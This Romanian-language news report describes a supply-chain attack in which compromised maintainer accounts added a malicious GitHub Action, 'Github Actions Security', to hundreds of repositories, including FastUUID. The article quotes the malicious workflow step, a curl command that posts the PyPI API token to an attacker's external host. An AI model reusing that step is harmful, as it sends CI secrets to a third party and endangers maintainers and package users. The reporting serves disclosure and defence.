Cercetătorii de la GitGuardian au descoperit un atac de mari proporții asupra utilizatorilor GitHub, în cadrul căruia s-a obținut controlul asupra a 327 de conturi și a fost inserat un handler malițios în GitHub Action în 817 de repozitorii. Atacul a dus la scurgerea a 3325 de secrete utilizate în sistemele de integrare continuă și transmise prin variabile de mediu, incluzând token-uri de acces la PyPI, GitHub, NPM, DockerHub și diverse soluții de stocare în cloud.

GitHub Actions permite dezvoltatorilor de cod să atașeze handlers pentru automatizarea diferitelor operații în GitHub. De exemplu, prin GitHub Actions se pot efectua anumite verificări și teste la realizarea de commit-uri sau se poate automatiza gestionarea de noi Issues. Handler-ul malițios era distribuit sub numele „Github Actions Security” și includea în secțiunea „run” comanda „curl”, care trimitea conținutul variabilelor de mediu către un host extern la execuția sarcinilor în mediul de integrare continuă. Commit-ul malițios a fost adăugat din conturile menținerilor proiectelor, care, probabil, fuseseră deja compromise sau deveniseră victime ale phishing-ului.
Atacul a fost identificat după analiza activității anormale legate de pachetul FastUUID, care oferă un wrapper Python peste biblioteca Rust UUID. Pachetul FastUUID, pentru care în ultima săptămână s-au înregistrat aproape 1.2 milioane de descărcări, este utilizat ca dependență într-un proiect popular numit LiteLLM, care are în PyPI mai mult de 5 milioane de descărcări pe săptămână. Analiza modificărilor din repozitoriul FastUUID a arătat că pe 2 septembrie, menținătorul proiectului a adăugat un commit cu un nou handler GitHub Action, care conținea cod pentru trimiterea token-ului către repozitoriul PyPI la un host extern. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https://bold-dhawan.45-139-104-115.plesk.page
Problema a fost identificată înainte ca atacatorii să profite de tokenul interceptat — nu au fost înregistrate publicații ale modificărilor malițioase sau ale versiunilor modificate ale pachetului în PyPI pentru FastUUID. Substituții similare de Github Action au fost identificate în alte 816 repozitorii, căror proprietari, precum și administrațiile PyPI, GitHub, NPM și DockerHub, le-au fost trimise notificări. Până aseară, comit-urile malițioase au fost anulate în aproximativ 100 de repozitorii. În prezent, căutând pe GitHub, se identifică 671 de comit-uri cu Github Action malițios.
Sursa: opennet.ro
